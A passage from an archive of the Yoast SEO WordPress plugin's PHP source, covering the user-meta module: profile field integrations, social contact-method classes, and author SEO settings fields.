	 * @param int $user_id The user ID.
	 *
	 * @return void
	 */
	public function render_field( $user_id ): void;
}
wordpress-seo/src/user-meta/domain/additional-contactmethod-interface.php000064400000000615147510273100022733 0ustar00<?php

namespace Yoast\WP\SEO\User_Meta\Domain;

/**
 * This interface describes an additional contactmethod.
 */
interface Additional_Contactmethod_Interface {

	/**
	 * Returns the key of the contactmethod.
	 *
	 * @return string
	 */
	public function get_key(): string;

	/**
	 * Returns the label of the contactmethod field.
	 *
	 * @return string
	 */
	public function get_label(): string;
}
wordpress-seo/src/user-meta/user-interface/custom-meta-integration.php000064400000006355147510273100022266 0ustar00<?php

namespace Yoast\WP\SEO\User_Meta\User_Interface;

use Yoast\WP\SEO\Conditionals\Admin_Conditional;
use Yoast\WP\SEO\Conditionals\User_Can_Edit_Users_Conditional;
use Yoast\WP\SEO\Conditionals\User_Edit_Conditional;
use Yoast\WP\SEO\Integrations\Integration_Interface;
use Yoast\WP\SEO\User_Meta\Application\Custom_Meta_Collector;

/**
 * Handles custom meta for users.
 */
class Custom_Meta_Integration implements Integration_Interface {

	/**
	 * The custom meta collector.
	 *
	 * @var Custom_Meta_Collector $custom_meta_collector The custom meta collector.
	 */
	private $custom_meta_collector;

	/**
	 * The constructor.
	 *
	 * @param Custom_Meta_Collector $custom_meta_collector The custom meta collector.
	 */
	public function __construct( Custom_Meta_Collector $custom_meta_collector ) {
		$this->custom_meta_collector = $custom_meta_collector;
	}

	/**
	 * Retrieves the conditionals for the integration.
	 *
	 * @return array<Yoast\WP\SEO\Conditionals> The conditionals.
	 */
	public static function get_conditionals() {
		return [
			Admin_Conditional::class,
			User_Can_Edit_Users_Conditional::class,
			User_Edit_Conditional::class,
		];
	}

	/**
	 * Registers action hook.
	 *
	 * @return void
	 */
	public function register_hooks(): void {
		\add_action( 'show_user_profile', [ $this, 'user_profile' ] );
		\add_action( 'edit_user_profile', [ $this, 'user_profile' ] );

		\add_action( 'personal_options_update', [ $this, 'process_user_option_update' ] );
		\add_action( 'edit_user_profile_update', [ $this, 'process_user_option_update' ] );
	}

	/**
	 * Updates the user metas that (might) have been set on the user profile page.
	 *
	 * @param int $user_id User ID of the updated user.
	 *
	 * @return void
	 */
	public function process_user_option_update( $user_id ) {
		\update_user_meta( $user_id, '_yoast_wpseo_profile_updated', \time() );

		if ( ! \check_admin_referer( 'wpseo_user_profile_update', 'wpseo_nonce' ) ) {
			return;
		}

		foreach ( $this->custom_meta_collector->get_custom_meta() as $meta ) {
			if ( ! $meta->is_setting_enabled() ) {
				continue;
			}

			$meta_field_id       = $meta->get_field_id();
			$user_input_to_store = isset( $_POST[ $meta_field_id ] ) ? \sanitize_text_field( \wp_unslash( $_POST[ $meta_field_id ] ) ) : '';

			if ( $meta->is_empty_allowed() || $user_input_to_store !== '' ) {
				\update_user_meta( $user_id, $meta->get_key(), $user_input_to_store );
				continue;
			}

			\delete_user_meta( $user_id, $meta->get_key() );
		}
	}

	/**
	 * Adds the inputs needed for SEO values to the User Profile page.
	 *
	 * @param WP_User $user User instance to output for.
	 *
	 * @return void
	 */
	public function user_profile( $user ) {
		\wp_nonce_field( 'wpseo_user_profile_update', 'wpseo_nonce' );

		/* translators: %1$s expands to Yoast SEO */
		$yoast_user_settings_header = \sprintf( \__( '%1$s settings', 'wordpress-seo' ), 'Yoast SEO' );

		echo '

		<div class="yoast yoast-settings">
			
			<h2 id="wordpress-seo">' . \esc_html( $yoast_user_settings_header ) . '</h2>';

		foreach ( $this->custom_meta_collector->get_sorted_custom_meta() as $meta ) {
			if ( ! $meta->is_setting_enabled() ) {
				continue;
			}

			$meta->render_field( $user->ID );
		}

		\do_action( 'wpseo_render_user_profile', $user );
		echo '</div>';
	}
}
wordpress-seo/src/user-meta/user-interface/cleanup-integration.php000064400000002516147510273100021452 0ustar00<?php

namespace Yoast\WP\SEO\User_Meta\User_Interface;

use Yoast\WP\SEO\Conditionals\No_Conditionals;
use Yoast\WP\SEO\Integrations\Integration_Interface;
use Yoast\WP\SEO\User_Meta\Application\Cleanup_Service;

/**
 * Handles the cleanup for user meta.
 */
class Cleanup_Integration implements Integration_Interface {

	use No_Conditionals;

	/**
	 * The cleanup service.
	 *
	 * @var Cleanup_Service $cleanup_service The cleanup service.
	 */
	private $cleanup_service;

	/**
	 * The constructor.
	 *
	 * @param Cleanup_Service $cleanup_service The cleanup service.
	 */
	public function __construct( Cleanup_Service $cleanup_service ) {
		$this->cleanup_service = $cleanup_service;
	}

	/**
	 * Registers action hook.
	 *
	 * @return void
	 */
	public function register_hooks(): void {
		\add_filter( 'wpseo_misc_cleanup_tasks', [ $this, 'add_user_meta_cleanup_tasks' ] );
	}

	/**
	 * Adds cleanup tasks for the cleanup integration.
	 *
	 * @param Closure[] $tasks Array of tasks to be added.
	 *
	 * @return Closure[] An associative array of tasks to be added to the cleanup integration.
	 */
	public function add_user_meta_cleanup_tasks( $tasks ) {
		return \array_merge(
			$tasks,
			[
				'clean_selected_empty_usermeta' => function ( $limit ) {
					return $this->cleanup_service->cleanup_selected_empty_usermeta( $limit );
				},
			]
		);
	}
}
wordpress-seo/src/user-meta/user-interface/additional-contactmethods-integration.php000064400000005362147510273100025152 0ustar00<?php

namespace Yoast\WP\SEO\User_Meta\User_Interface;

use Yoast\WP\SEO\Conditionals\No_Conditionals;
use Yoast\WP\SEO\Integrations\Integration_Interface;
use Yoast\WP\SEO\User_Meta\Application\Additional_Contactmethods_Collector;

/**
 * Handles registering and saving additional contactmethods for users.
 */
class Additional_Contactmethods_Integration implements Integration_Interface {

	use No_Conditionals;

	/**
	 * The additional contactmethods collector.
	 *
	 * @var Additional_Contactmethods_Collector $additional_contactmethods_collector The additional contactmethods collector.
	 */
	private $additional_contactmethods_collector;

	/**
	 * The constructor.
	 *
	 * @param Additional_Contactmethods_Collector $additional_contactmethods_collector The additional contactmethods collector.
	 */
	public function __construct( Additional_Contactmethods_Collector $additional_contactmethods_collector ) {
		$this->additional_contactmethods_collector = $additional_contactmethods_collector;
	}

	/**
	 * Registers action hook.
	 *
	 * @return void
	 */
	public function register_hooks(): void {
		\add_filter( 'user_contactmethods', [ $this, 'update_contactmethods' ] );
		\add_filter( 'update_user_metadata', [ $this, 'stop_storing_empty_metadata' ], 10, 4 );
	}

	/**
	 * Updates the contactmethods with an additional set of social profiles.
	 *
	 * These are used with the Facebook author, rel="author", Twitter cards implementation, but also in the `sameAs` schema attributes.
	 *
	 * @param array<string, string> $contactmethods Currently set contactmethods.
	 *
	 * @return array<string, string> Contactmethods with added contactmethods.
	 */
	public function update_contactmethods( $contactmethods ) {
		$additional_contactmethods = $this->additional_contactmethods_collector->get_additional_contactmethods_objects();

		return \array_merge( ( $contactmethods ?? [] ), $additional_contactmethods );
	}

	/**
	 * Returns a check value, which will stop empty contactmethods from going into the database.
	 *
	 * @param bool|null $check      Whether to allow updating metadata for the given type.
	 * @param int       $object_id  ID of the object metadata is for.
	 * @param string    $meta_key   Metadata key.
	 * @param mixed     $meta_value Metadata value. Must be serializable if non-scalar.
	 *
	 * @return false|null False for when we are to filter out empty metadata, null for no filtering.
	 */
	public function stop_storing_empty_metadata( $check, $object_id, $meta_key, $meta_value ) {
		$additional_contactmethods = $this->additional_contactmethods_collector->get_additional_contactmethods_keys();

		if ( \in_array( $meta_key, $additional_contactmethods, true ) && $meta_value === '' ) {
			\delete_user_meta( $object_id, $meta_key );
			return false;
		}

		return $check;
	}
}
wordpress-seo/src/user-meta/framework/additional-contactmethods/wikipedia.php000064400000001435147510273100023655 0ustar00<?php

// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong
namespace Yoast\WP\SEO\User_Meta\Framework\Additional_Contactmethods;

use Yoast\WP\SEO\User_Meta\Domain\Additional_Contactmethod_Interface;

/**
 * The Wikipedia contactmethod.
 */
class Wikipedia implements Additional_Contactmethod_Interface {

	/**
	 * Returns the key of the Wikipedia contactmethod.
	 *
	 * @return string The key of the Wikipedia contactmethod.
	 */
	public function get_key(): string {
		return 'wikipedia';
	}

	/**
	 * Returns the label of the Wikipedia field.
	 *
	 * @return string The label of the Wikipedia field.
	 */
	public function get_label(): string {
		return \__( 'Wikipedia page about you', 'wordpress-seo' ) . '<br/><small>' . \__( '(if one exists)', 'wordpress-seo' ) . '</small>';
	}
}
wordpress-seo/src/user-meta/framework/additional-contactmethods/soundcloud.php000064400000001330147510273100024060 0ustar00<?php

// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong
namespace Yoast\WP\SEO\User_Meta\Framework\Additional_Contactmethods;

use Yoast\WP\SEO\User_Meta\Domain\Additional_Contactmethod_Interface;

/**
 * The Soundcloud contactmethod.
 */
class Soundcloud implements Additional_Contactmethod_Interface {

	/**
	 * Returns the key of the SoundCloud contactmethod.
	 *
	 * @return string The key of the SoundCloud contactmethod.
	 */
	public function get_key(): string {
		return 'soundcloud';
	}

	/**
	 * Returns the label of the SoundCloud field.
	 *
	 * @return string The label of the SoundCloud field.
	 */
	public function get_label(): string {
		return \__( 'SoundCloud profile URL', 'wordpress-seo' );
	}
}
wordpress-seo/src/user-meta/framework/additional-contactmethods/linkedin.php000064400000001310147510273100023474 0ustar00<?php

// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong
namespace Yoast\WP\SEO\User_Meta\Framework\Additional_Contactmethods;

use Yoast\WP\SEO\User_Meta\Domain\Additional_Contactmethod_Interface;

/**
 * The Linkedin contactmethod.
 */
class Linkedin implements Additional_Contactmethod_Interface {

	/**
	 * Returns the key of the Linkedin contactmethod.
	 *
	 * @return string The key of the Linkedin contactmethod.
	 */
	public function get_key(): string {
		return 'linkedin';
	}

	/**
	 * Returns the label of the Linkedin field.
	 *
	 * @return string The label of the Linkedin field.
	 */
	public function get_label(): string {
		return \__( 'LinkedIn profile URL', 'wordpress-seo' );
	}
}
wordpress-seo/src/user-meta/framework/additional-contactmethods/pinterest.php000064400000001320147510273100023715 0ustar00<?php

// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong
namespace Yoast\WP\SEO\User_Meta\Framework\Additional_Contactmethods;

use Yoast\WP\SEO\User_Meta\Domain\Additional_Contactmethod_Interface;

/**
 * The Pinterest contactmethod.
 */
class Pinterest implements Additional_Contactmethod_Interface {

	/**
	 * Returns the key of the Pinterest contactmethod.
	 *
	 * @return string The key of the Pinterest contactmethod.
	 */
	public function get_key(): string {
		return 'pinterest';
	}

	/**
	 * Returns the label of the Pinterest field.
	 *
	 * @return string The label of the Pinterest field.
	 */
	public function get_label(): string {
		return \__( 'Pinterest profile URL', 'wordpress-seo' );
	}
}
wordpress-seo/src/user-meta/framework/additional-contactmethods/instagram.php000064400000001320147510273100023665 0ustar00<?php

// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong
namespace Yoast\WP\SEO\User_Meta\Framework\Additional_Contactmethods;

use Yoast\WP\SEO\User_Meta\Domain\Additional_Contactmethod_Interface;

/**
 * The Instagram contactmethod.
 */
class Instagram implements Additional_Contactmethod_Interface {

	/**
	 * Returns the key of the Instagram contactmethod.
	 *
	 * @return string The key of the Instagram contactmethod.
	 */
	public function get_key(): string {
		return 'instagram';
	}

	/**
	 * Returns the label of the Instagram field.
	 *
	 * @return string The label of the Instagram field.
	 */
	public function get_label(): string {
		return \__( 'Instagram profile URL', 'wordpress-seo' );
	}
}
wordpress-seo/src/user-meta/framework/additional-contactmethods/myspace.php000064400000001300147510273100023337 0ustar00<?php

// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong
namespace Yoast\WP\SEO\User_Meta\Framework\Additional_Contactmethods;

use Yoast\WP\SEO\User_Meta\Domain\Additional_Contactmethod_Interface;

/**
 * The Myspace contactmethod.
 */
class Myspace implements Additional_Contactmethod_Interface {

	/**
	 * Returns the key of the MySpace contactmethod.
	 *
	 * @return string The key of the MySpace contactmethod.
	 */
	public function get_key(): string {
		return 'myspace';
	}

	/**
	 * Returns the label of the MySpace field.
	 *
	 * @return string The label of the MySpace field.
	 */
	public function get_label(): string {
		return \__( 'MySpace profile URL', 'wordpress-seo' );
	}
}
wordpress-seo/src/user-meta/framework/additional-contactmethods/x.php000064400000001237147510273100022156 0ustar00<?php

// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong
namespace Yoast\WP\SEO\User_Meta\Framework\Additional_Contactmethods;

use Yoast\WP\SEO\User_Meta\Domain\Additional_Contactmethod_Interface;

/**
 * The X contactmethod.
 */
class X implements Additional_Contactmethod_Interface {

	/**
	 * Returns the key of the X contactmethod.
	 *
	 * @return string The key of the X contactmethod.
	 */
	public function get_key(): string {
		return 'twitter';
	}

	/**
	 * Returns the label of the X field.
	 *
	 * @return string The label of the X field.
	 */
	public function get_label(): string {
		return \__( 'X username (without @)', 'wordpress-seo' );
	}
}
wordpress-seo/src/user-meta/framework/additional-contactmethods/facebook.php000064400000001310147510273100023450 0ustar00<?php

// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong
namespace Yoast\WP\SEO\User_Meta\Framework\Additional_Contactmethods;

use Yoast\WP\SEO\User_Meta\Domain\Additional_Contactmethod_Interface;

/**
 * The Facebook contactmethod.
 */
class Facebook implements Additional_Contactmethod_Interface {

	/**
	 * Returns the key of the Facebook contactmethod.
	 *
	 * @return string The key of the Facebook contactmethod.
	 */
	public function get_key(): string {
		return 'facebook';
	}

	/**
	 * Returns the label of the Facebook field.
	 *
	 * @return string The label of the Facebook field.
	 */
	public function get_label(): string {
		return \__( 'Facebook profile URL', 'wordpress-seo' );
	}
}
wordpress-seo/src/user-meta/framework/additional-contactmethods/youtube.php000064400000001300147510273100023372 0ustar00<?php

// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong
namespace Yoast\WP\SEO\User_Meta\Framework\Additional_Contactmethods;

use Yoast\WP\SEO\User_Meta\Domain\Additional_Contactmethod_Interface;

/**
 * The Youtube contactmethod.
 */
class Youtube implements Additional_Contactmethod_Interface {

	/**
	 * Returns the key of the YouTube contactmethod.
	 *
	 * @return string The key of the YouTube contactmethod.
	 */
	public function get_key(): string {
		return 'youtube';
	}

	/**
	 * Returns the label of the YouTube field.
	 *
	 * @return string The label of the YouTube field.
	 */
	public function get_label(): string {
		return \__( 'YouTube profile URL', 'wordpress-seo' );
	}
}
wordpress-seo/src/user-meta/framework/additional-contactmethods/tumblr.php000064400000001270147510273100023211 0ustar00<?php

// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong
namespace Yoast\WP\SEO\User_Meta\Framework\Additional_Contactmethods;

use Yoast\WP\SEO\User_Meta\Domain\Additional_Contactmethod_Interface;

/**
 * The Tumblr contactmethod.
 */
class Tumblr implements Additional_Contactmethod_Interface {

	/**
	 * Returns the key of the Tumblr contactmethod.
	 *
	 * @return string The key of the Tumblr contactmethod.
	 */
	public function get_key(): string {
		return 'tumblr';
	}

	/**
	 * Returns the label of the Tumblr field.
	 *
	 * @return string The label of the Tumblr field.
	 */
	public function get_label(): string {
		return \__( 'Tumblr profile URL', 'wordpress-seo' );
	}
}
wordpress-seo/src/user-meta/framework/custom-meta/keyword-analysis-disable.php000064400000005657147510273100023740 0ustar00<?php

// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong
namespace Yoast\WP\SEO\User_Meta\Framework\Custom_Meta;

use Yoast\WP\SEO\Helpers\Options_Helper;
use Yoast\WP\SEO\User_Meta\Domain\Custom_Meta_Interface;

/**
 * The Keyword_Analysis_Disable custom meta.
 */
class Keyword_Analysis_Disable implements Custom_Meta_Interface {

	/**
	 * The options helper.
	 *
	 * @var Options_Helper
	 */
	private $options_helper;

	/**
	 * The constructor.
	 *
	 * @param Options_Helper $options_helper The options helper.
	 */
	public function __construct( Options_Helper $options_helper ) {
		$this->options_helper = $options_helper;
	}

	/**
	 * Returns the priority which the custom meta's form field should be rendered with.
	 *
	 * @return int The priority which the custom meta's form field should be rendered with.
	 */
	public function get_render_priority(): int {
		return 400;
	}

	/**
	 * Returns the db key of the Keyword_Analysis_Disable custom meta.
	 *
	 * @return string The db key of the Keyword_Analysis_Disable custom meta.
	 */
	public function get_key(): string {
		return 'wpseo_keyword_analysis_disable';
	}

	/**
	 * Returns the id of the custom meta's form field.
	 *
	 * @return string The id of the custom meta's form field.
	 */
	public function get_field_id(): string {
		return 'wpseo_keyword_analysis_disable';
	}

	/**
	 * Returns the meta value.
	 *
	 * @param int $user_id The user ID.
	 *
	 * @return string The meta value.
	 */
	public function get_value( $user_id ): string {
		return \get_the_author_meta( $this->get_key(), $user_id );
	}

	/**
	 * Returns whether the respective global setting is enabled.
	 *
	 * @return bool Whether the respective global setting is enabled.
	 */
	public function is_setting_enabled(): bool {
		return ( $this->options_helper->get( 'keyword_analysis_active', false ) );
	}

	/**
	 * Returns whether the custom meta is allowed to be empty.
	 *
	 * @return bool Whether the custom meta is allowed to be empty.
	 */
	public function is_empty_allowed(): bool {
		return true;
	}

	/**
	 * Renders the custom meta's field in the user form.
	 *
	 * @param int $user_id The user ID.
	 *
	 * @return void
	 */
	public function render_field( $user_id ): void {
		echo '

		<input
			class="yoast-settings__checkbox double"
			type="checkbox"
			id="' . \esc_attr( $this->get_field_id() ) . '"
			name="' . \esc_attr( $this->get_field_id() ) . '"
			aria-describedby="' . \esc_attr( $this->get_field_id() ) . '_desc"
			value="on" '
			. \checked( $this->get_value( $user_id ), 'on', false )
		. '/>';

		echo '

		<label class="yoast-label-strong" for="' . \esc_attr( $this->get_field_id() ) . '">'
			. \esc_html__( 'Disable SEO analysis', 'wordpress-seo' )
		. '</label><br>';

		echo '

		<p class="description" id="' . \esc_attr( $this->get_field_id() ) . '_desc">'
			. \esc_html__( 'Removes the focus keyphrase section from the metabox and disables all SEO-related suggestions.', 'wordpress-seo' )
		. '</p>';
	}
}
wordpress-seo/src/user-meta/framework/custom-meta/author-metadesc.php000064400000005100147510273100022076 0ustar00<?php

// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong
namespace Yoast\WP\SEO\User_Meta\Framework\Custom_Meta;

use Yoast\WP\SEO\Helpers\Options_Helper;
use Yoast\WP\SEO\User_Meta\Domain\Custom_Meta_Interface;

/**
 * The Author_Metadesc custom meta.
 */
class Author_Metadesc implements Custom_Meta_Interface {

	/**
	 * The options helper.
	 *
	 * @var Options_Helper
	 */
	private $options_helper;

	/**
	 * The constructor.
	 *
	 * @param Options_Helper $options_helper The options helper.
	 */
	public function __construct( Options_Helper $options_helper ) {
		$this->options_helper = $options_helper;
	}

	/**
	 * Returns the priority which the custom meta's form field should be rendered with.
	 *
	 * @return int The priority which the custom meta's form field should be rendered with.
	 */
	public function get_render_priority(): int {
		return 200;
	}

	/**
	 * Returns the db key of the Author_Metadesc custom meta.
	 *
	 * @return string The db key of the Author_Metadesc custom meta.
	 */
	public function get_key(): string {
		return 'wpseo_metadesc';
	}

	/**
	 * Returns the id of the custom meta's form field.
	 *
	 * @return string The id of the custom meta's form field.
	 */
	public function get_field_id(): string {
		return 'wpseo_author_metadesc';
	}

	/**
	 * Returns the meta value.
	 *
	 * @param int $user_id The user ID.
	 *
	 * @return string The meta value.
	 */
	public function get_value( $user_id ): string {
		return \get_the_author_meta( $this->get_key(), $user_id );
	}

	/**
	 * Returns whether the respective global setting is enabled.
	 *
	 * @return bool Whether the respective global setting is enabled.
	 */
	public function is_setting_enabled(): bool {
		return ( ! $this->options_helper->get( 'disable-author' ) );
	}

	/**
	 * Returns whether the custom meta is allowed to be empty.
	 *
	 * @return bool Whether the custom meta is allowed to be empty.
	 */
	public function is_empty_allowed(): bool {
		return true;
	}

	/**
	 * Renders the custom meta's field in the user form.
	 *
	 * @param int $user_id The user ID.
	 *
	 * @return void
	 */
	public function render_field( $user_id ): void {
		echo '

		<label for="' . \esc_attr( $this->get_field_id() ) . '">'
			. \esc_html__( 'Meta description to use for Author page', 'wordpress-seo' )
		. '</label>';

		echo '

		<textarea
			rows="5"
			cols="30"
			id="' . \esc_attr( $this->get_field_id() ) . '"
			class="yoast-settings__textarea yoast-settings__textarea--medium"
			name="' . \esc_attr( $this->get_field_id() ) . '">'
				. \esc_textarea( $this->get_value( $user_id ) )
		. '</textarea><br>';
	}
}
wordpress-seo/src/user-meta/framework/custom-meta/content-analysis-disable.php000064400000005704147510273100023717 0ustar00<?php

// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong
namespace Yoast\WP\SEO\User_Meta\Framework\Custom_Meta;

use Yoast\WP\SEO\Helpers\Options_Helper;
use Yoast\WP\SEO\User_Meta\Domain\Custom_Meta_Interface;

/**
 * The Content_Analysis_Disable custom meta.
 */
class Content_Analysis_Disable implements Custom_Meta_Interface {

	/**
	 * The options helper.
	 *
	 * @var Options_Helper
	 */
	private $options_helper;

	/**
	 * The constructor.
	 *
	 * @param Options_Helper $options_helper The options helper.
	 */
	public function __construct( Options_Helper $options_helper ) {
		$this->options_helper = $options_helper;
	}

	/**
	 * Returns the priority which the custom meta's form field should be rendered with.
	 *
	 * @return int The priority which the custom meta's form field should be rendered with.
	 */
	public function get_render_priority(): int {
		return 500;
	}

	/**
	 * Returns the db key of the Content_Analysis_Disable custom meta.
	 *
	 * @return string The db key of the Content_Analysis_Disable custom meta.
	 */
	public function get_key(): string {
		return 'wpseo_content_analysis_disable';
	}

	/**
	 * Returns the id of the custom meta's form field.
	 *
	 * @return string The id of the custom meta's form field.
	 */
	public function get_field_id(): string {
		return 'wpseo_content_analysis_disable';
	}

	/**
	 * Returns the meta value.
	 *
	 * @param int $user_id The user ID.
	 *
	 * @return string The meta value.
	 */
	public function get_value( $user_id ): string {
		return \get_the_author_meta( $this->get_key(), $user_id );
	}

	/**
	 * Returns whether the respective global setting is enabled.
	 *
	 * @return bool Whether the respective global setting is enabled.
	 */
	public function is_setting_enabled(): bool {
		return ( $this->options_helper->get( 'content_analysis_active', false ) );
	}

	/**
	 * Returns whether the custom meta is allowed to be empty.
	 *
	 * @return bool Whether the custom meta is allowed to be empty.
	 */
	public function is_empty_allowed(): bool {
		return true;
	}

	/**
	 * Renders the custom meta's field in the user form.
	 *
	 * @param int $user_id The user ID.
	 *
	 * @return void
	 */
	public function render_field( $user_id ): void {
		echo '

		<input
			class="yoast-settings__checkbox double"
			type="checkbox"
			id="' . \esc_attr( $this->get_field_id() ) . '"
			name="' . \esc_attr( $this->get_field_id() ) . '"
			aria-describedby="' . \esc_attr( $this->get_field_id() ) . '_desc"
			value="on" '
			. \checked( $this->get_value( $user_id ), 'on', false )
		. '/>';

		echo '

		<label class="yoast-label-strong" for="' . \esc_attr( $this->get_field_id() ) . '">'
			. \esc_html__( 'Disable readability analysis', 'wordpress-seo' )
		. '</label><br>';

		echo '

		<p class="description" id="' . \esc_attr( $this->get_field_id() ) . '_desc">'
			. \esc_html__( 'Removes the readability analysis section from the metabox and disables all readability-related suggestions.', 'wordpress-seo' )
		. '</p>';
	}
}
wordpress-seo/src/user-meta/framework/custom-meta/inclusive-language-analysis-disable.php000064400000006046147510273100026027 0ustar00<?php

// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong
namespace Yoast\WP\SEO\User_Meta\Framework\Custom_Meta;

use Yoast\WP\SEO\Helpers\Options_Helper;
use Yoast\WP\SEO\User_Meta\Domain\Custom_Meta_Interface;

/**
 * The Inclusive_Language_Analysis_Disable custom meta.
 */
class Inclusive_Language_Analysis_Disable implements Custom_Meta_Interface {

	/**
	 * The options helper.
	 *
	 * @var Options_Helper
	 */
	private $options_helper;

	/**
	 * The constructor.
	 *
	 * @param Options_Helper $options_helper The options helper.
	 */
	public function __construct( Options_Helper $options_helper ) {
		$this->options_helper = $options_helper;
	}

	/**
	 * Returns the priority which the custom meta's form field should be rendered with.
	 *
	 * @return int The priority which the custom meta's form field should be rendered with.
	 */
	public function get_render_priority(): int {
		return 600;
	}

	/**
	 * Returns the db key of the Inclusive_Language_Analysis_Disable custom meta.
	 *
	 * @return string The db key of the Inclusive_Language_Analysis_Disable custom meta.
	 */
	public function get_key(): string {
		return 'wpseo_inclusive_language_analysis_disable';
	}

	/**
	 * Returns the id of the custom meta's form field.
	 *
	 * @return string The id of the custom meta's form field.
	 */
	public function get_field_id(): string {
		return 'wpseo_inclusive_language_analysis_disable';
	}

	/**
	 * Returns the meta value.
	 *
	 * @param int $user_id The user ID.
	 *
	 * @return string The meta value.
	 */
	public function get_value( $user_id ): string {
		return \get_the_author_meta( $this->get_key(), $user_id );
	}

	/**
	 * Returns whether the respective global setting is enabled.
	 *
	 * @return bool Whether the respective global setting is enabled.
	 */
	public function is_setting_enabled(): bool {
		return ( $this->options_helper->get( 'inclusive_language_analysis_active', false ) );
	}

	/**
	 * Returns whether the custom meta is allowed to be empty.
	 *
	 * @return bool Whether the custom meta is allowed to be empty.
	 */
	public function is_empty_allowed(): bool {
		return true;
	}

	/**
	 * Renders the custom meta's field in the user form.
	 *
	 * @param int $user_id The user ID.
	 *
	 * @return void
	 */
	public function render_field( $user_id ): void {
		echo '

		<input
			class="yoast-settings__checkbox double"
			type="checkbox"
			id="' . \esc_attr( $this->get_field_id() ) . '"
			name="' . \esc_attr( $this->get_field_id() ) . '"
			aria-describedby="' . \esc_attr( $this->get_field_id() ) . '_desc"
			value="on" '
			. \checked( $this->get_value( $user_id ), 'on', false )
		. '/>';

		echo '

		<label class="yoast-label-strong" for="' . \esc_attr( $this->get_field_id() ) . '">'
			. \esc_html__( 'Disable inclusive language analysis', 'wordpress-seo' )
		. '</label><br>';

		echo '

		<p class="description" id="' . \esc_attr( $this->get_field_id() ) . '_desc">'
			. \esc_html__( 'Removes the inclusive language analysis section from the metabox and disables all inclusive language-related suggestions.', 'wordpress-seo' )
		. '</p>';
	}
}
wordpress-seo/src/user-meta/framework/custom-meta/noindex-author.php000064400000005155147510273100021767 0ustar00<?php

// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong
namespace Yoast\WP\SEO\User_Meta\Framework\Custom_Meta;

use Yoast\WP\SEO\Helpers\Options_Helper;
use Yoast\WP\SEO\User_Meta\Domain\Custom_Meta_Interface;

/**
 * The Noindex_Author custom meta.
 */
class Noindex_Author implements Custom_Meta_Interface {

	/**
	 * The options helper.
	 *
	 * @var Options_Helper
	 */
	private $options_helper;

	/**
	 * The constructor.
	 *
	 * @param Options_Helper $options_helper The options helper.
	 */
	public function __construct( Options_Helper $options_helper ) {
		$this->options_helper = $options_helper;
	}

	/**
	 * Returns the priority which the custom meta's form field should be rendered with.
	 *
	 * @return int The priority which the custom meta's form field should be rendered with.
	 */
	public function get_render_priority(): int {
		return 300;
	}

	/**
	 * Returns the db key of the Noindex_Author custom meta.
	 *
	 * @return string The db key of the Noindex_Author custom meta.
	 */
	public function get_key(): string {
		return 'wpseo_noindex_author';
	}

	/**
	 * Returns the id of the custom meta's form field.
	 *
	 * @return string The id of the custom meta's form field.
	 */
	public function get_field_id(): string {
		return 'wpseo_noindex_author';
	}

	/**
	 * Returns the meta value.
	 *
	 * @param int $user_id The user ID.
	 *
	 * @return string The meta value.
	 */
	public function get_value( $user_id ): string {
		return \get_the_author_meta( $this->get_key(), $user_id );
	}

	/**
	 * Returns whether the respective global setting is enabled.
	 *
	 * @return bool Whether the respective global setting is enabled.
	 */
	public function is_setting_enabled(): bool {
		return ( ! $this->options_helper->get( 'disable-author' ) );
	}

	/**
	 * Returns whether the custom meta is allowed to be empty.
	 *
	 * @return bool Whether the custom meta is allowed to be empty.
	 */
	public function is_empty_allowed(): bool {
		return false;
	}

	/**
	 * Renders the custom meta's field in the user form.
	 *
	 * @param int $user_id The user ID.
	 *
	 * @return void
	 */
	public function render_field( $user_id ): void {
		echo '

		<input
			class="yoast-settings__checkbox double"
			type="checkbox"
			id="' . \esc_attr( $this->get_field_id() ) . '"
			name="' . \esc_attr( $this->get_field_id() ) . '"
			value="on" '
			. \checked( $this->get_value( $user_id ), 'on', false )
		. '/>';

		echo '

		<label class="yoast-label-strong" for="' . \esc_attr( $this->get_field_id() ) . '">'
			. \esc_html__( 'Do not allow search engines to show this author\'s archives in search results.', 'wordpress-seo' )
		. '</label><br>';
	}
}
wordpress-seo/src/user-meta/framework/custom-meta/author-title.php000064400000004765147510273100021452 0ustar00<?php

// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong
namespace Yoast\WP\SEO\User_Meta\Framework\Custom_Meta;

use Yoast\WP\SEO\Helpers\Options_Helper;
use Yoast\WP\SEO\User_Meta\Domain\Custom_Meta_Interface;

/**
 * The Author_Title custom meta.
 */
class Author_Title implements Custom_Meta_Interface {

	/**
	 * The options helper.
	 *
	 * @var Options_Helper
	 */
	private $options_helper;

	/**
	 * The constructor.
	 *
	 * @param Options_Helper $options_helper The options helper.
	 */
	public function __construct( Options_Helper $options_helper ) {
		$this->options_helper = $options_helper;
	}

	/**
	 * Returns the priority which the custom meta's form field should be rendered with.
	 *
	 * @return int The priority which the custom meta's form field should be rendered with.
	 */
	public function get_render_priority(): int {
		return 100;
	}

	/**
	 * Returns the db key of the Author_Title custom meta.
	 *
	 * @return string The db key of the Author_Title custom meta.
	 */
	public function get_key(): string {
		return 'wpseo_title';
	}

	/**
	 * Returns the id of the custom meta's form field.
	 *
	 * @return string The id of the custom meta's form field.
	 */
	public function get_field_id(): string {
		return 'wpseo_author_title';
	}

	/**
	 * Returns the meta value.
	 *
	 * @param int $user_id The user ID.
	 *
	 * @return string The meta value.
	 */
	public function get_value( $user_id ): string {
		return \get_the_author_meta( $this->get_key(), $user_id );
	}

	/**
	 * Returns whether the respective global setting is enabled.
	 *
	 * @return bool Whether the respective global setting is enabled.
	 */
	public function is_setting_enabled(): bool {
		return ( ! $this->options_helper->get( 'disable-author' ) );
	}

	/**
	 * Returns whether the custom meta is allowed to be empty.
	 *
	 * @return bool Whether the custom meta is allowed to be empty.
	 */
	public function is_empty_allowed(): bool {
		return true;
	}

	/**
